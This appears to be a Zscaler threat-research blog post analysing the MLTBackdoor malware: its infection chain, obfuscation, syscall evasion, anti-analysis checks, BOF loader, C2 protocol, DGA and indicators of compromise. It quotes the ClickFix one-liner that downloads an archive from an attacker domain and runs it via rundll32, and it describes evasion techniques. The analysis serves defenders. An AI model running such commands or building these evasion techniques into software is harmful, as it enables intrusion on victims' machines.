Blog Zscaler
Recevez les dernières mises à jour du blog de Zscaler dans votre boîte de réception
Technical Analysis of MLTBackdoor
Introduction
In May 2026, Zscaler ThreatLabz identified a new malware family that we track as MLTBackdoor that is likely leveraged by a ransomware-related threat actor. MLTBackdoor has been observed by ThreatLabz being delivered in a multi-stage ClickFix infection chain. MTLBackdoor supports a set of commands like downloading and uploading files from the victim’s system. However, one of the most powerful features is the ability to load Beacon Object Files (BOFs) to expand its capabilities.
In this blog post, ThreatLabz provides a technical analysis of MLTBackdoor, including its core features, configuration, obfuscation, network communication protocol, and capabilities.
Key Takeaways
- In May 2026, ThreatLabz identified a new malware family, MLTBackdoor, likely used in ransomware attacks to establish a foothold for lateral movement.
- MLTBackdoor is heavily obfuscated using both Mixed Boolean-Arithmetic (MBA) and Control Flow Flattening (CFF) techniques.
- MLTBackdoor also employs different tricks to thwart analysis, making static and dynamic analysis harder.
- MLTBackdoor makes use of a domain generation algorithm (DGA) to avoid losing contact when the hardcoded command-and-control (C2) domains are unreachable.
- MLTBackdoor has various filesystem related commands available and features a BOF loader designed to dynamically add new capabilities.
Technical Analysis
In the following sections, ThreatLabz examines the technical details of MLTBackdoor, including its obfuscation methods, anti-analysis techniques, network protocol, and supported commands.
Initial infection chain
The infection chain begins with a ClickFix lure on an automotive-related web page. If the victim copies, pastes, and executes the ClickFix content, the following commands are executed:
"C:\WINDOWS\system32\conhost.exe" --headless cmd /c "md C:\users\\AppData\Local\Temp\x&curl -skLo C:\users\\AppData\Local\Temp\x\t hxxps://hrs2y15sungu[.]com/d&pushd C:\users\\AppData\Local\Temp\x&tar xf t&del t&rundll32 endpointdlp.dll,#2" The downloaded file, retrieved from a domain that appears in that day’s domain DGA set (discussed later), is a compressed archive that contains the following files:
data.binendpointdlp.dll
The endpointdlp.dll file decrypts the RC4-encrypted data.bin file, which contains the second stage of the infection chain. The decryption key is stored in its own header and has the following structure:
struct mlt_payload_header
{
uint32_t payload_size;
uint8_t RC4_key[32];
uint8_t encrypted_payload[payload_size];
};The decrypted payload is the MLTBackdoor itself. It first performs a self-update, then reuses the endpointdlp.dll filename and sideloads it via a legitimate signed Microsoft Defender mpextms.exe executable.
Obfuscation and API hashing
MLTBackdoor hinders analysis by using indirect system calls and API hashing, along with different obfuscation methods applied at compilation time using an LLVM-based obfuscator. These methods are described in the following sections.
Mixed Boolean-Arithmetic (MBA)
The Mixed Boolean-Arithmetic (MBA) obfuscation technique takes a normal arithmetic expression like x + y and rewrites it as something mathematically equivalent but much more difficult to follow. For instance, the following figure shows part of the DGA function, where numerous mathematical operations are performed solely to add noise:

Figure 1: MBA obfuscation in MLTBackdoor’s DGA function.
A single increment turns into several lines. For example:
v275 = 2 * (-163 * v248 - 164 * ~v248) - 328;
v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22;
v277 = 28 * ~(-45*v276 - 46*~v276 - 46) + 29 * (-46*~v276 - 45*v276) - 1306;
v279 = -22*v248 - 22*~v248 - 22;But if we replace ~x with -x - 1 they collapse, as shown in the table below:
Expression | Simplified |
|---|---|
v275 = 2 * (-163 * v248 - 164 * ~v248) - 328; | v275 = 2 * v248 |
v276 = 22*(~v261&~v275) + 24*(v275&v261) + 23*(~v275&v261) + 23*(~v261&v275) + 22; | v276 = v261 + v275 |
v277 = 28 * ~(-45*v276 - 46*~v276 - 46) + 29 * (-46*~v276 - 45*v276) - 1306; | v277 = v276 |
v279 = -22*v248 - 22*~v248 - 22; | v279 = 0 |
Table 1: Simplified MLTBackdoor MBA examples.
MLTBackdoor makes extensive use of this technique to the point that around 95% of its code is just extra, unnecessary calculations.
Control Flow Flattening (CFF)
MLTBackdoor also uses control flow flattening (CFF). CFF replaces every if/else block with a large while(1){ switch(state) { … }} structure, so a function ends up looking similar to the following figure:

Figure 2: CFF obfuscation in MLTBackdoor’s command-handling function.
This method essentially uses a few instructions to transform a straightforward function into something that is difficult to understand. The obfuscator shuffles blocks which obscures execution order with different state assignments.
MLTBackdoor performs two additional steps to complicate analysis further:
- The state value is stored at stack offset + N (
rsp+N) and is XOR’ed before each comparison. - The calculation of the next state is wrapped in MBA.
The pseudocode for these steps is shown in the figure below.

Figure 3: Example of MLTBackdoor’s CFF state obfuscation and MBA.
Stack strings
Unlike most malware families, string values are not encrypted or encoded. Instead the strings are constructed at runtime byte-by-byte on the stack. On its own, this isn’t particularly remarkable, but combined with MBA and CFF it results in fragmented strings. For example, the C2 string may be constructed by calling two functions and stitching them together as follows:

Figure 4: MLTBackdoor stack-based strings constructed in two separate functions and concatenated together.
Taken together, these routines construct the full cwrtwright[.]com C2 domain. However, because the string is built across a flattened state machine, the only reliable way to recover it is to trace the state transitions, defeating tools like FLOSS that look for consecutive characters in memory.
API resolution
MLTBackdoor resolves everything at runtime (Win32 APIs, system calls, and Beacon Object File symbols) using DJB2 hashing.
The main difference in MLTBackdoor’s API resolution is how it feeds the strings to the algorithm. ThreatLabz observed the following three cases:
- Normal WinAPI lookups:
djb2("WinHttpConnect")→ 0x7242C17D - Same thing but in lower case:
djb2("enumwindows")→ 0xDFAE1D05 - Prepending the word “Beacon” before hashing the string:
djb2("BeaconNtCreateFile")→ 0xFDC751A3
Indirect system calls
Many security products hook WinAPI functions to detect abnormal calls or activity. However, by skipping user mode APIs and the kernel32 wrappers around a system call and going directly to the address where the actual system call is made, it’s possible to evade detection. MLTBackdoor follows this approach using a Hell’s Gate-style technique in three steps:
Startup builder: When first running, MLTBackdoor walks and matches ntdll exports against a list of 31 “Nt” hashes and builds a runtime table that looks like this:
Hash | SSN | Syscall Gadget Address |
|---|---|---|
0x15A5ECDB (NtCreateFile) | 0x55 | 0x7FFE12340A18 (ntdll + 0x9D2C8) |
… | … | ... |
Table 2: Example MLTBackdoor system call table.
- Wrapper: When it needs to call a Windows API function, MLTBackdoor calls its own wrapper, looks up the provided hash in the table, and retrieves both the system service number (SSN) and the gadget address.
- Trampoline: Finally, MLTBackdoor jumps to the corresponding ntdll system call address, as shown in the figure below:

Figure 5: MLTBackdoor indirect system call trampoline.
The full list of kernel “Nt” functions is available in the Appendix.
Anti-analysis
MLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution.
Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request, as described later in the Network communications section. The following table lists the checks and their associated flags:
Bit | Value | Check | Description |
|---|---|---|---|
0 | 0x001 | Hypervisor check 1 | Checks whether the hypervisor bit is set; if so, queries leaf 0x40000000 to get the vendor ID and compares it against these values: |
1 | 0x002 | Hypervisor check 2 | If there are no matches in the previous step and the vendor ID is anything else, including |
2 | 0x004 | Timing check | Performs a minimum of 5 |
3 | 0x008 | Debugger check | Queries |
4 | 0x010 | Process check | Iterates through all the names of the running processes, calculates the SHA256 hash, and compares it against a hardcoded list of hashes (the full list of cracked hashes is available in the Appendix). |
5 | 0x020 | Windows title check | Compares a list of stack-built strings (such as |
6 | 0x040 | Sandboxes drivers check | Compares drivers loaded with the following name list: |
7 | 0x080 | RAM check | Checks if RAM is below 2GB. |
8 | 0x100 | CPU number check | Checks if the number of processors is 1. |
9 | 0x200 | Uptime check | Checks whether the uptime is less than 5 minutes. |
Table 3: MLTBackdoor anti-analysis checks and flags.
Capabilities
MLTBackdoor includes a small set of built-in commands:
download: Grabs a file from the victim’s machine.upload: Drops a file on the victim’s machine.ls: Lists files in a directory.delete: Deletes a file or folder.rename: Renames or moves a file or folder.mkdir: Creates a new folder.
What really increases MLTBackdoor’s capabilities, however, is the BOF loader functionality.
Beacon Object File loader
A Beacon Object File (BOF) is a Microsoft Common Object File Format (MS-COFF) compiled file, containing sections, a symbol table, and relocations, that malware can map and execute within its own process, then free. Using BOFs for post-exploitation tasks was first popularized by Cobalt Strike, and there are now hundreds of community-made BOFs for a wide range of tasks.
MLTBackdoor’s BOF dispatcher follows these steps:
- Creates one memory block per section.
- Walks the COFF symbol table.
- Applies relocations per section.
- Changes section permissions to read and execute (RX) only.
- Handles crashes and returns them as result.
- Locates the entry point in the symbol table.
- Removes and frees allocated memory.
MLTBackdoor’s BOF loader is compatible with Cobalt Strike beacons that rely on the small subset of DJB2-hashed imports shown in the table below:
DJB2 Hash | Resolved Import |
|---|---|
0xE2494BA2 | BeaconDataParse |
0xAF1AFDD2 | BeaconDataInt |
0xE2835EF7 | BeaconDataShort |
0x22641D29 | BeaconDataLength |
0x80D46722 | BeaconDataExtract |
0x700D8660 | BeaconPrintf |
0x6DF4B81E | BeaconOutput |
Table 4: MLTBackdoor BOF imports.
What differentiates this BOF loader is that, in addition to the small set of imports above, it includes 19 additional cases that route calls to MLTBackdoor’s own indirect system call wrappers described in the previous sections. These are shown in the table below:
DJB2 Hash | Resolved System Call Wrapper |
|---|---|
0xA7AF9B14 | BeaconNtAllocateVirtualMemory |
0xB4C56190 | BeaconNtProtectVirtualMemory |
0xEAB1DBB1 | BeaconNtFreeVirtualMemory |
0xD9C35B05 | BeaconNtClose |
0xFDC751A3 | BeaconNtCreateFile |
0x880DE2E1 | BeaconNtOpenFile |
0xF4092DAB | BeaconNtReadFile |
0x4A37127A | BeaconNtWriteFile |
0xF3C1F72B | BeaconNtQueryInformationFile |
0x85066141 | BeaconNtSetInformationFile |
0xBF82EC3A | BeaconNtQueryDirectoryFile |
0x31E64470 | BeaconNtQuerySystemInformation |
0x1BEC4F21 | BeaconNtOpenProcessToken |
0x6D017A0C | BeaconNtQueryInformationToken |
0xD163364C | BeaconNtCreateKey |
0xFC5D97CA | BeaconNtOpenKey |
0xE17B5121 | BeaconNtSetValueKey |
0x4BBA2AC8 | BeaconNtDeleteValueKey |
0x6AB423AB | BeaconNtDeleteKey |
Table 5: Indirect system calls beacon imports supported by MLTBackdoor.
Network communication
MLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path (/api/v1/telemetry) and User-Agent (Microsoft-Delivery-Optimization/10.1) to masquerade as legitimate traffic. Network communications are encrypted using an Elliptic-Curve Diffie-Hellman (ECDH) key exchange with NIST curve P‑256 to generate a shared secret. MLTBackdoor generates a new key-pair per session, and performs ECDH with a P‑256 public key shared by the C2 server. The result is concatenated to both the session’s public key and the C2 server’s public key, and then hashed with SHA256 to derive the shared secret, which is then used as an AES-256-GCM session key. All subsequent messages are then encrypted with this AES session key with a random 12 byte nonce.
Some MLTBackdoor samples use hardcoded stack-built C2 domains in combination with a DGA, while others rely on either hardcoded domains or the DGA alone. The DGA is designed to maintain control of infected systems if the C2s are unreachable. An MLTBackdoor DGA script, including DGA domains through July 2025, is available in the ThreatLabz GitHub repository.
Domain Generation Algorithm (DGA)
MLTBackdoor’s DGA algorithm is a deterministic date-based algorithm that generates a new domain per day. The DGA algorithm is shown below in Python:

Interestingly, the domain created for April 29, 2026 (hrs2y15sungu[.]com) was used not only for C2 communication, but also used for the distribution campaign that day, as explained in the Initial infection chain section.
MLT name origin
ThreatLabz dubbed the name, MLTBackdoor, based on the first 4 magic bytes of the network communication protocol’s header. The header, which is present in every communication (client- and server-side) follows the structure below:
struct mlt_packet_header
{
uint32_t magic;
uint32_t session_id;
uint32_t msg_type;
uint32_t payload_len;
uint8_t nonce[12];
uint8_t unknown[4];
};The magic bytes are 0x014D4C54 (or \x01MLT). The session_id consists of 4 random bytes generated via BCryptGenRandom (regenerated on each handshake). The supported msg_type values are shown in the table below:
Direction | Message Type | Description |
|---|---|---|
Client -> Server | 1 | Check-in containing host information. |
Server -> Client | 2 | Sends a BOF task. |
Server -> Client | 3 | Sends a sleep command. |
Server -> Client | 4 | Exit process. |
Client -> Server | 5 | Command execution result. |
Both directions | 6 | Elliptic-Curve Diffie–Hellman (ECDH) key exchange. |
Server -> Client | 7 | Download file. |
Client -> Server | 8 | File data sent. |
Server -> Client | 9 | Upload file. |
Server -> Client | 10 | Unknown. |
Server -> Client | 11 | ls command. |
Client -> Server | 12 | Directory listing. |
Server -> Client | 13 | delete command. |
Server -> Client | 14 | rename command. |
Server -> Client | 15 | mkdir command. |
Client -> Server | 16 | BOF stdout. |
Table 6: MLTBackdoor protocol message types.
As mentioned above, MLTBackdoor uses ECDH to generate a shared secret that is used as an AES session key. In order to perform the key exchange, MLTBackdoor first sends the session’s P-256 public key to the C2 server with the following structure:
struct mlt_handshake_request
{
struct mlt_packet_header;
uint8_t client_p256_x[32];
uint8_t client_p256_y[32];
uint32_t anti_analysis_flags;
};Below, is an example message in this format:

Figure 6: Example MLTBackdoor ECDH key exchange message.
Once this key exchange is complete, MLTBackdoor uses the shared AES-256-GCM key to encrypt and decrypt subsequent messages. Each packet includes an encrypted payload immediately following the header, using the structure shown below:
struct mlt_packet
{
struct mlt_packet_header;
uint8_t ciphertext[payload_len];
uint8_t aes_gcm_tag[16];
};
Conclusion
Despite being relatively new, MLTBackdoor is already a formidable post-exploitation malware framework that provides filesystem access capabilities and expandable functionality with a BOF loader. Most MLTBackdoor binaries leverage CFF and MBA to complicate reverse engineering along with techniques to evade malware sandboxes and analysis environments. MLTBackdoor also uses a custom binary encrypted network protocol with a DGA for backup communications to hinder takedown attempts by researchers and law enforcement for additional resiliency.
Zscaler Coverage
Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for MLTBackdoor.

Figure 8: Zscaler Cloud Sandbox Report for MLTBackdoor.
In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels with the following threat names:
Indicators Of Compromise (IOCs)
SHA256 | Description |
|---|---|
1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984 | Stage one loader. |
46b2155c1e71b840d4b7a2e94410b89a61e2446523e6f497206d402eb02e0e93 | Archive with stage one loader and encrypted MLTBackdoor. |
9e52cc90cff150abe21f0a6440e86e0a99ff383b81061b96def8948e21d0ac66 | MLTBackdoor with domains and DGA. |
ced6b0f44410f6133ad63b61e04613a8b56cc3338d7b34497540e9541163e7ec | MLTBackdoor DGA only. |
1d09357b6a096fdc35cd5c873eed15665d6b3c879d20c8cf01e6bca0005512cf | MLTBackdoor DGA only. |
2cd88d5280a61714836f5f07a16df190911c5b952af2998dbbcda910b3b1c494 | MLTBackdoor domains only. |
d34e4038c5c80728f9648ba84833f69bc1ccea82e2e8e748b7b7f02fb687b92b | MLTBackdoor update sideload archive. |
Domain | Description |
|---|---|
hrs2y15sungu[.]com | DGA domain also used in the distribution campaign. |
carrolc[.]com | MLTBackdoor C2. |
cwrtwright[.]com | MLTBackdoor C2. |
thomphon[.]com | MLTBackdoor C2. |
powwowski[.]com/payloads/update.zip | MLTBackdoor update URL. |
Appendix
DJB2 resolved hashes for Nt* API calls
DJB2 Hash | Nt* API |
|---|---|
0x6793C34C | NtAllocateVirtualMemory |
0x082962C8 | NtProtectVirtualMemory |
0x471AA7E9 | NtFreeVirtualMemory |
0x95F3A792 | NtWriteVirtualMemory |
0xCB0C2130 | NtCreateThreadEx |
0xD034FC62 | NtQueryInformationProcess |
0xEE4F73A8 | NtQuerySystemInformation |
0x5003C058 | NtOpenProcess |
0x8B8E133D | NtClose |
0x7EB77B17 | NtTraceControl |
0x308BE0D0 | NtSetContextThread |
0x9E0E1A44 | NtGetContextThread |
0x0A49084A | NtDelayExecution |
0xC29C5019 | NtOpenFile |
0xD02E20D0 | NtCreateSection |
0x231F196A | NtMapViewOfSection |
0x595014AD | NtUnmapViewOfSection |
0x780A612C | NtContinue |
0x7BD07459 | NtOpenProcessToken |
0x2CE5A244 | NtQueryInformationToken |
0xA9053F72 | NtQueryDirectoryFile |
0x15A5ECDB | NtCreateFile |
0x2E979AE3 | NtReadFile |
0x5DBF4A84 | NtCreateKey |
0x4BB73E02 | NtOpenKey |
0xF52D5359 | NtSetValueKey |
0x1B63A200 | NtDeleteValueKey |
0xF71037E3 | NtDeleteKey |
0x4725F863 | NtQueryInformationFile |
0x6E88B479 | NtSetInformationFile |
0xD69326B2 | NtWriteFile |
Cracked SHA256 hashes used to identify running processes
SHA256 | Process Name |
|---|---|
9e8777661a1ad9c983f03060f0a04a3244daac8c3639b3eb1bbce29355bc6c10 | x64dbg.exe |
e063358d88290c5d05d58594da341690024cf7fa57408a3874899f10e56d8bc8 | x32dbg.exe |
9c8384f93b9d347a716ea3e55b9a01250473f667b95d467126c048256b0049e9 | ollydbg.exe |
ed80408eb9092301e628791e7a9a2e86c6f496a9afd7b56d7c1a1684b1b87251 | windbg.exe |
57cfa4cbf3d6cbd13973bbf0625bfa6d20677abb0a6e6bec9a6bf587799b56fa | ida.exe |
b2e1f5aedb049092135e90c153f5bd386aa81cd2df355d90912dcba33c3176e5 | ida64.exe |
d51ce268a585657226510586e47c58a47cee2f2bf2049008760c58dc4e6ba650 | procmon.exe |
75635009a00cb26d2f532ad974ede59785a18e4b30132a1f585108589394ba5a | procmon64.exe |
a5a5b6257304eefe5212edfd8c0ad27f77357c5046a7acb8eb7ba72ed4bad9e0 | procexp.exe |
0ca2edf9982f58e63cc49ba69fb9a88762d1f220ed9482810b512d4add0f8f0b | procexp64.exe |
ac66c2d47cdefb221822b9074c9810434e8da702a0694139aa9177557e6b292b | wireshark.exe |
d8f291a459c1acc53f9c8dccb1049bfe2d3b00c7a86d50542dc7fd7b0628ea6a | fiddler.exe |
ab0541672b57cd3b7e8c973fb9fcbecd18b7fe14c1c2f571e7a2f2921919b500 | pestudio.exe |
fe8557d454adc7a91162495628d269738b92b4b5d7e5d620fc3f38c27a9a41a7 | dnspy.exe |
fc8649547ad0ece93ad82de75cb6b875be0873774de89b78546c9a66d2043087 | vmtoolsd.exe |
6870e3bbf2447c96d21682caf943cf31c2e8c21c8cfb91a5092eab1c9e5f19ae | vboxservice.exe |
0f7463aecc3920f9e2b32ab9d77861a9e69a3e8aa28d06b4602195623312331d | df5serv.exe |
b32461077b2e04145b87e9b5177a331dfd2248b81570aa96b9a302dffe643f70 | cffexplorer.exe |
687968b820fd7a6bedb03d644410c663b1720ad76519e2dcf98d61df498470df | autoruns.exe |
4c357a29b202b77e7db190d359ead2dfd3f8869c6808b96bfa8bee82525bb2a2 | tcpview.exe |
Cet article a-t-il été utile ?
Clause de non-responsabilité : Cet article de blog a été créé par Zscaler à des fins d’information uniquement et est fourni « en l’état » sans aucune garantie d’exactitude, d’exhaustivité ou de fiabilité. Zscaler n’assume aucune responsabilité pour toute erreur ou omission ou pour toute action prise sur la base des informations fournies. Tous les sites Web ou ressources de tiers liés à cet article de blog sont fournis pour des raisons de commodité uniquement, et Zscaler n’est pas responsable de leur contenu ni de leurs pratiques. Tout le contenu peut être modifié sans préavis. En accédant à ce blog, vous acceptez ces conditions et reconnaissez qu’il est de votre responsabilité de vérifier et d’utiliser les informations en fonction de vos besoins.
Recevez les dernières mises à jour du blog de Zscaler dans votre boîte de réception
En envoyant le formulaire, vous acceptez notre politique de confidentialité.


